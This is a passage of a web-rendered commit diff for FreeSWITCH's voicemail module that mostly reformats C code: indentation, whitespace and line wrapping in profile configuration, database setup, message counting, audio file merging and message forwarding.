-                &amp;profile-&gt;record_silence_hits, 2, &amp;config_int_0_1000, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;record-sample-rate&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;record_sample_rate, 0, NULL, vm_config_validate_samplerate, NULL, NULL);
</del><span class="cx"> 
</span><del>-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_headers&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;email_headers, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);        
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_body&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;email_body, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_email-from&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;email_from, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_date-fmt&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, 
-                &amp;profile-&gt;date_fmt, &quot;%A, %B %d %Y, %I %M %p&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;odbc-dsn&quot;, SWITCH_CONFIG_STRING, 0,
-                &amp;profile-&gt;odbc_dsn, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;email_template-file&quot;, SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE, 
-                NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;email_notify-template-file&quot;, SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE, 
-                NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
-        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;web-template-file&quot;, SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE, 
-                NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
-                
</del><ins>+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;digit-timeout&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;digit_timeout, 10000, &amp;config_int_digit_timeout, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-login-attempts&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;max_login_attempts, 3, &amp;config_int_max_logins, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;min-record-len&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;min_record_len, 3, &amp;config_int_0_10000, &quot;seconds&quot;, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-record-len&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;max_record_len, 300, &amp;config_int_0_1000, &quot;seconds&quot;, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;max-retries&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;max_retries, 3, &amp;config_int_ht_0, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-silence-threshold&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_threshold, 200, &amp;config_int_0_10000, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;record-silence-hits&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;record_silence_hits, 2, &amp;config_int_0_1000, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;record-sample-rate&quot;, SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
+                                                                        &amp;profile-&gt;record_sample_rate, 0, NULL, vm_config_validate_samplerate, NULL, NULL);
+
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_headers&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;email_headers, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_body&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;email_body, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_email-from&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;email_from, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;email_date-fmt&quot;, SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
+                                                   &amp;profile-&gt;date_fmt, &quot;%A, %B %d %Y, %I %M %p&quot;, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM(profile-&gt;config[i++], &quot;odbc-dsn&quot;, SWITCH_CONFIG_STRING, 0, &amp;profile-&gt;odbc_dsn, NULL, &amp;profile-&gt;config_str_pool, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;email_template-file&quot;, SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+                                                                        NULL, NULL, profile, vm_config_email_callback, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;email_notify-template-file&quot;, SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+                                                                        NULL, NULL, profile, vm_config_notify_callback, NULL, NULL);
+        SWITCH_CONFIG_SET_ITEM_CALLBACK(profile-&gt;config[i++], &quot;web-template-file&quot;, SWITCH_CONFIG_CUSTOM, CONFIG_RELOADABLE,
+                                                                        NULL, NULL, profile, vm_config_web_callback, NULL, NULL);
+
</ins><span class="cx">         switch_assert(i &lt; VM_PROFILE_CONFIGITEM_COUNT);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return profile;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static vm_profile_t * load_profile(const char *profile_name)
</del><ins>+static vm_profile_t *load_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx">         switch_xml_t x_profiles, x_profile, cfg, xml, x_email, param;
</span><span class="lines">@@ -652,26 +644,25 @@
</span><span class="cx">                         if ((param = switch_xml_child(x_email, &quot;headers&quot;))) {
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;email_headers&quot;, param-&gt;txt);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (param = switch_xml_child(x_email, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="cx">                                 char *var, *val;
</span><span class="cx">                                 char buf[2048];
</span><del>-                                
-                                if ((var = (char *) switch_xml_attr_soft(param, &quot;name&quot;)) &amp;&amp; 
-                                        (val = (char *) switch_xml_attr_soft(param, &quot;value&quot;))) {
</del><ins>+
+                                if ((var = (char *) switch_xml_attr_soft(param, &quot;name&quot;)) &amp;&amp; (val = (char *) switch_xml_attr_soft(param, &quot;value&quot;))) {
</ins><span class="cx">                                         switch_snprintf(buf, 2048, &quot;email_%s&quot;, var);
</span><del>-                                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);                                        
</del><ins>+                                        switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, buf, val);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_xml_config_parse_event(event, count, SWITCH_FALSE, profile-&gt;config) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Failed to process configuration\n&quot;);
</span><span class="cx">                         switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_rwlock_create(&amp;profile-&gt;rwlock, pool);
</span><span class="cx">                 profile-&gt;name = switch_core_strdup(pool, profile_name);
</span><span class="cx"> 
</span><span class="lines">@@ -690,13 +681,14 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Cannot open DB!\n&quot;);
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
-                switch_cache_db_test_reactive(dbh, &quot;select count(forwarded_by) from voicemail_msgs&quot;, NULL, &quot;alter table voicemail_msgs add forwarded_by varchar(255)&quot;);
</del><ins>+
+                switch_cache_db_test_reactive(dbh, &quot;select count(forwarded_by) from voicemail_msgs&quot;, NULL,
+                                                                          &quot;alter table voicemail_msgs add forwarded_by varchar(255)&quot;);
</ins><span class="cx">                 switch_cache_db_test_reactive(dbh, &quot;select count(forwarded_by) from voicemail_msgs&quot;, &quot;drop table voicemail_msgs&quot;, vm_sql);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_cache_db_test_reactive(dbh, &quot;select count(username) from voicemail_prefs&quot;, &quot;drop table voicemail_prefs&quot;, vm_pref_sql);
</span><span class="cx">                 switch_cache_db_test_reactive(dbh, &quot;select count(password) from voicemail_prefs&quot;, NULL, &quot;alter table voicemail_prefs add password varchar(255)&quot;);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 for (x = 0; vm_index_list[x]; x++) {
</span><span class="cx">                         errmsg = NULL;
</span><span class="cx">                         switch_cache_db_execute_sql(dbh, vm_index_list[x], &amp;errmsg);
</span><span class="lines">@@ -724,17 +716,17 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static vm_profile_t * get_profile(const char *profile_name) 
</del><ins>+static vm_profile_t *get_profile(const char *profile_name)
</ins><span class="cx"> {
</span><span class="cx">         vm_profile_t *profile = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mutex);
</span><span class="cx">         if (!(profile = switch_core_hash_find(globals.profile_hash, profile_name))) {
</span><del>-            profile = load_profile(profile_name);
</del><ins>+                profile = load_profile(profile_name);
</ins><span class="cx">         }
</span><span class="cx">         if (profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;[%s] rwlock\n&quot;, profile-&gt;name);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_thread_rwlock_rdlock(profile-&gt;rwlock);
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(globals.mutex);
</span><span class="lines">@@ -894,7 +886,7 @@
</span><span class="cx">         switch_copy_string(cbt-&gt;name_path, argv[2], sizeof(cbt-&gt;name_path));
</span><span class="cx">         switch_copy_string(cbt-&gt;greeting_path, argv[3], sizeof(cbt-&gt;greeting_path));
</span><span class="cx">         switch_copy_string(cbt-&gt;password, argv[4], sizeof(cbt-&gt;password));
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1011,16 +1003,16 @@
</span><span class="cx"> static int message_count_callback(void *pArg, int argc, char **argv, char **columnNames)
</span><span class="cx"> {
</span><span class="cx">         msg_cnt_callback_t *cbt = (msg_cnt_callback_t *) pArg;
</span><del>-        if (atoi(argv[0]) == 1) { /* UnRead */
-                if (!strcasecmp(argv[1], &quot;A_URGENT&quot;)) { /* Urgent */
</del><ins>+        if (atoi(argv[0]) == 1) {        /* UnRead */
+                if (!strcasecmp(argv[1], &quot;A_URGENT&quot;)) {        /* Urgent */
</ins><span class="cx">                         cbt-&gt;total_new_urgent_messages = atoi(argv[2]);
</span><del>-                } else { /* Normal */
</del><ins>+                } else {                                /* Normal */
</ins><span class="cx">                         cbt-&gt;total_new_messages = atoi(argv[2]);
</span><span class="cx">                 }
</span><del>-        } else { /* Already Read */
-                if (!strcasecmp(argv[1], &quot;A_URGENT&quot;)) { /* Urgent */
</del><ins>+        } else {                                        /* Already Read */
+                if (!strcasecmp(argv[1], &quot;A_URGENT&quot;)) {        /* Urgent */
</ins><span class="cx">                         cbt-&gt;total_saved_urgent_messages = atoi(argv[2]);
</span><del>-                } else { /* Normal */
</del><ins>+                } else {                                /* Normal */
</ins><span class="cx">                         cbt-&gt;total_saved_messages = atoi(argv[2]);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -1058,16 +1050,12 @@
</span><span class="cx"> 
</span><span class="cx"> switch_status_t measure_file_len(const char *path, switch_size_t *message_len)
</span><span class="cx"> {
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_file_handle_t fh = { 0 };
</span><span class="cx">         uint32_t pos = 0;
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx"> 
</span><del>-        if (switch_core_file_open(&amp;fh,
-                                                          path,
-                                                          0,
-                                                          0,
-                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_core_file_open(&amp;fh, path, 0, 0, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx"> 
</span><span class="cx">                 if (switch_core_file_seek(&amp;fh, &amp;pos, 0, SEEK_END) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         *message_len = pos / fh.samplerate;
</span><span class="lines">@@ -1075,7 +1063,7 @@
</span><span class="cx">                 }
</span><span class="cx">                 switch_core_file_close(&amp;fh);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="lines">@@ -1091,10 +1079,10 @@
</span><span class="cx">         char term;
</span><span class="cx">         char input[10] = &quot;&quot;, key_buf[80] = &quot;&quot;;
</span><span class="cx">         cc_t cc = { 0 };
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         int got_file = 0;
</span><span class="cx"> 
</span><del>-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (exit_keys) {
</span><span class="lines">@@ -1108,7 +1096,8 @@
</span><span class="cx">           record_file:
</span><span class="cx">                 *message_len = 0;
</span><span class="cx"> 
</span><del>-                if (macro_name) TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
</del><ins>+                if (macro_name)
+                        TRY_CODE(switch_ivr_phrase_macro(session, macro_name, NULL, NULL, NULL));
</ins><span class="cx">                 switch_channel_flush_dtmf(channel);
</span><span class="cx">                 TRY_CODE(switch_ivr_gentones(session, profile-&gt;tone_spec, 0, NULL));
</span><span class="cx"> 
</span><span class="lines">@@ -1152,7 +1141,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (profile-&gt;auto_playback_recordings) {
</span><del>-                play_file:
</del><ins>+                  play_file:
</ins><span class="cx">                         memset(&amp;fh, 0, sizeof(fh));
</span><span class="cx">                         args.input_callback = control_playback;
</span><span class="cx">                         memset(&amp;cc, 0, sizeof(cc));
</span><span class="lines">@@ -1170,7 +1159,7 @@
</span><span class="cx">                                 status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                 *cc.buf = '\0';
</span><span class="cx">                         } else {
</span><del>-                                (void)vm_macro_get(session, VM_RECORD_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, profile-&gt;digit_timeout);
</del><ins>+                                (void) vm_macro_get(session, VM_RECORD_FILE_CHECK_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, profile-&gt;digit_timeout);
</ins><span class="cx">                         }
</span><span class="cx"> 
</span><span class="cx">                         if (!strcmp(input, profile-&gt;listen_file_key)) {
</span><span class="lines">@@ -1178,7 +1167,7 @@
</span><span class="cx">                         } else if (!strcmp(input, profile-&gt;record_file_key)) {
</span><span class="cx">                                 goto record_file;
</span><span class="cx">                         } else {
</span><del>-                                (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, &quot;saved&quot;, NULL, NULL);
</del><ins>+                                (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, &quot;saved&quot;, NULL, NULL);
</ins><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1212,7 +1201,7 @@
</span><span class="cx">         int index;
</span><span class="cx">         int want;
</span><span class="cx">         msg_type_t type;
</span><del>-        msg_move_t move; 
</del><ins>+        msg_move_t move;
</ins><span class="cx">         char *convert_cmd;
</span><span class="cx">         char *convert_ext;
</span><span class="cx"> };
</span><span class="lines">@@ -1252,18 +1241,17 @@
</span><span class="cx">         switch_event_create(&amp;params, SWITCH_EVENT_GENERAL);
</span><span class="cx">         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;action&quot;, action);
</span><span class="cx"> 
</span><del>-        if (switch_xml_locate_user(&quot;id&quot;, myid, domain_name, NULL,
-                                                           &amp;xx_domain_root, &amp;xx_domain, &amp;xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_xml_locate_user(&quot;id&quot;, myid, domain_name, NULL, &amp;xx_domain_root, &amp;xx_domain, &amp;xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 ret = strdup(switch_xml_attr(xx_user, &quot;id&quot;));
</span><span class="cx">                 switch_xml_free(xx_domain_root);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_destroy(&amp;params);
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder, int *total_new_messages, 
-                int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
</del><ins>+static void message_count(vm_profile_t *profile, const char *id_in, const char *domain_name, const char *myfolder, int *total_new_messages,
+                                                  int *total_saved_messages, int *total_new_urgent_messages, int *total_saved_urgent_messages)
</ins><span class="cx"> {
</span><span class="cx">         char msg_count[80] = &quot;&quot;;
</span><span class="cx">         msg_cnt_callback_t cbt = { 0 };
</span><span class="lines">@@ -1283,7 +1271,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_snprintf(sql, sizeof(sql),
</span><span class="cx">                                         &quot;select read_epoch=0, read_flags, count(read_epoch) from voicemail_msgs where username='%s' and domain='%s' and in_folder='%s' group by read_epoch=0,read_flags;&quot;,
</span><del>-                                                myid, domain_name, myfolder);
</del><ins>+                                        myid, domain_name, myfolder);
</ins><span class="cx"> 
</span><span class="cx">         vm_execute_sql_callback(profile, profile-&gt;mutex, sql, message_count_callback, &amp;cbt);
</span><span class="cx"> 
</span><span class="lines">@@ -1301,8 +1289,9 @@
</span><span class="cx"> 
</span><span class="cx"> static char *vm_merge_file(switch_core_session_t *session, vm_profile_t *profile, const char *announce, const char *orig)
</span><span class="cx"> {
</span><del>-        switch_channel_t *channel = switch_core_session_get_channel(session);        
-        switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = { 0 }, *fh = NULL;
</del><ins>+        switch_channel_t *channel = switch_core_session_get_channel(session);
+        switch_file_handle_t lrfh = { 0 }, *rfh = NULL, lfh = {
+        0}, *fh = NULL;
</ins><span class="cx">         char *tmp_path;
</span><span class="cx">         switch_uuid_t uuid;
</span><span class="cx">         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="lines">@@ -1310,8 +1299,8 @@
</span><span class="cx">         int16_t *abuf = NULL;
</span><span class="cx">         switch_size_t olen = 0;
</span><span class="cx">         int asis = 0;
</span><del>-    switch_codec_implementation_t read_impl = {0};
-    switch_core_session_get_read_impl(session, &amp;read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &amp;read_impl);
</ins><span class="cx"> 
</span><span class="cx">         switch_uuid_get(&amp;uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="lines">@@ -1324,20 +1313,18 @@
</span><span class="cx">         if (switch_core_file_open(&amp;lfh,
</span><span class="cx">                                                           tmp_path,
</span><span class="cx">                                                           lfh.channels,
</span><del>-                                                          read_impl.actual_samples_per_second,
-                                                          SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                          read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failed to open file %s\n&quot;, tmp_path);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         fh = &amp;lfh;
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         if (switch_core_file_open(&amp;lrfh,
</span><span class="cx">                                                           announce,
</span><span class="cx">                                                           lfh.channels,
</span><del>-                                                          read_impl.actual_samples_per_second,
-                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                          read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failed to open file %s\n&quot;, announce);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -1348,7 +1335,7 @@
</span><span class="cx"> 
</span><span class="cx">         if (switch_test_flag(fh, SWITCH_FILE_NATIVE)) {
</span><span class="cx">                 asis = 1;
</span><del>-        }        
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         while (switch_channel_ready(channel)) {
</span><span class="cx">                 olen = VM_STARTSAMPLES;
</span><span class="lines">@@ -1360,7 +1347,7 @@
</span><span class="cx">                 if (switch_core_file_read(rfh, abuf, &amp;olen) != SWITCH_STATUS_SUCCESS || !olen) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_file_write(fh, abuf, &amp;olen);
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="lines">@@ -1373,8 +1360,7 @@
</span><span class="cx">         if (switch_core_file_open(&amp;lrfh,
</span><span class="cx">                                                           orig,
</span><span class="cx">                                                           lfh.channels,
</span><del>-                                                          read_impl.actual_samples_per_second,
-                                                          SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                          read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Failed to open file %s\n&quot;, orig);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -1391,7 +1377,7 @@
</span><span class="cx">                 if (switch_core_file_read(rfh, abuf, &amp;olen) != SWITCH_STATUS_SUCCESS || !olen) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_core_file_write(fh, abuf, &amp;olen);
</span><span class="cx"> 
</span><span class="cx">         }
</span><span class="lines">@@ -1400,7 +1386,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, &quot;Failed to delete file [%s]\n&quot;, announce);
</span><span class="cx">         }
</span><span class="cx">         ret = tmp_path;
</span><del>-        
</del><ins>+
</ins><span class="cx">   end:
</span><span class="cx"> 
</span><span class="cx">         if (fh) {
</span><span class="lines">@@ -1429,18 +1415,18 @@
</span><span class="cx">         char input[10] = &quot;&quot;, key_buf[80] = &quot;&quot;;
</span><span class="cx">         switch_file_handle_t fh = { 0 };
</span><span class="cx">         cc_t cc = { 0 };
</span><del>-        char *forward_file_path = NULL;                                
</del><ins>+        char *forward_file_path = NULL;
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         if (switch_channel_ready(channel)) {
</span><span class="cx"> 
</span><span class="cx">                 args.input_callback = cancel_on_dtmf;
</span><span class="cx"> 
</span><del>-                switch_snprintf(key_buf, sizeof(key_buf), &quot;%s:%s:%s:%s:%s:%s%s%s&quot;, profile-&gt;listen_file_key, profile-&gt;save_file_key, 
-                                                profile-&gt;delete_file_key, profile-&gt;email_key, profile-&gt;callback_key, 
</del><ins>+                switch_snprintf(key_buf, sizeof(key_buf), &quot;%s:%s:%s:%s:%s:%s%s%s&quot;, profile-&gt;listen_file_key, profile-&gt;save_file_key,
+                                                profile-&gt;delete_file_key, profile-&gt;email_key, profile-&gt;callback_key,
</ins><span class="cx">                                                 profile-&gt;forward_key, cbt-&gt;email ? &quot;:&quot; : &quot;&quot;, cbt-&gt;email ? cbt-&gt;email : &quot;&quot;);
</span><del>-                                                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                 switch_snprintf(input, sizeof(input), &quot;%s:%d&quot;, cbt-&gt;type == MSG_NEW ? &quot;new&quot; : &quot;saved&quot;, cbt-&gt;want + 1);
</span><span class="cx">                 memset(&amp;cc, 0, sizeof(cc));
</span><span class="cx">                 cc.profile = profile;
</span><span class="lines">@@ -1489,8 +1475,8 @@
</span><span class="cx">                                 char *new_file_path = NULL;
</span><span class="cx">                                 char vm_cc[256] = &quot;&quot;;
</span><span class="cx">                                 char macro_buf[80] = &quot;&quot;;
</span><del>-                                
-                                
</del><ins>+
+
</ins><span class="cx">                                 switch_snprintf(key_buf, sizeof(key_buf), &quot;%s:%s&quot;, profile-&gt;prepend_key, profile-&gt;forward_key);
</span><span class="cx">                                 TRY_CODE(vm_macro_get(session, VM_FORWARD_PREPEND_MACRO, key_buf, input, sizeof(input), 1, &quot;&quot;, &amp;term, profile-&gt;digit_timeout));
</span><span class="cx">                                 if (!strcmp(input, profile-&gt;prepend_key)) {
</span><span class="lines">@@ -1498,11 +1484,12 @@
</span><span class="cx">                                         char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</span><span class="cx">                                         switch_size_t message_len = 0;
</span><span class="cx">                                         char *new_path = NULL;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_uuid_get(&amp;uuid);
</span><span class="cx">                                         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="cx"> 
</span><del>-                                        forward_file_path = switch_core_session_sprintf(session, &quot;%s%smsg_%s.wav&quot;, SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str);
</del><ins>+                                        forward_file_path =
+                                                switch_core_session_sprintf(session, &quot;%s%smsg_%s.wav&quot;, SWITCH_GLOBAL_dirs.temp_dir, SWITCH_PATH_SEPARATOR, uuid_str);
</ins><span class="cx">                                         TRY_CODE(create_file(session, profile, VM_RECORD_MESSAGE_MACRO, forward_file_path, &amp;message_len, SWITCH_TRUE, NULL, NULL));
</span><span class="cx">                                         if ((new_path = vm_merge_file(session, profile, forward_file_path, cbt-&gt;file_path))) {
</span><span class="cx">                                                 switch_ivr_sleep(session, 1500, SWITCH_TRUE, NULL);
</span><span class="lines">@@ -1517,14 +1504,15 @@
</span><span class="cx">                                 } else {
</span><span class="cx">                                         new_file_path = cbt-&gt;file_path;
</span><span class="cx">                                 }
</span><del>-                                
-                        get_exten:
-                                
</del><ins>+
+                          get_exten:
+
</ins><span class="cx">                                 switch_snprintf(macro_buf, sizeof(macro_buf), &quot;phrase:%s:%s&quot;, VM_FORWARD_MESSAGE_ENTER_EXTENSION_MACRO, profile-&gt;terminator_key);
</span><span class="cx">                                 vm_cc[0] = '\0';
</span><span class="cx"> 
</span><del>-                                TRY_CODE(switch_ivr_read(session, 0, sizeof(vm_cc), macro_buf, NULL, vm_cc, sizeof(vm_cc), profile-&gt;digit_timeout, profile-&gt;terminator_key));
-                                
</del><ins>+                                TRY_CODE(switch_ivr_read
+                                                 (session, 0, sizeof(vm_cc), macro_buf, NULL, vm_cc, sizeof(vm_cc), profile-&gt;digit_timeout, profile-&gt;terminator_key));
+
</ins><span class="cx">                                 cmd = switch_core_session_sprintf(session, &quot;%s@%s %s %s '%s'&quot;, vm_cc, cbt-&gt;domain, new_file_path, cbt-&gt;cid_number, cbt-&gt;cid_name);
</span><span class="cx"> 
</span><span class="cx">                                 if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1566,7 +1554,7 @@
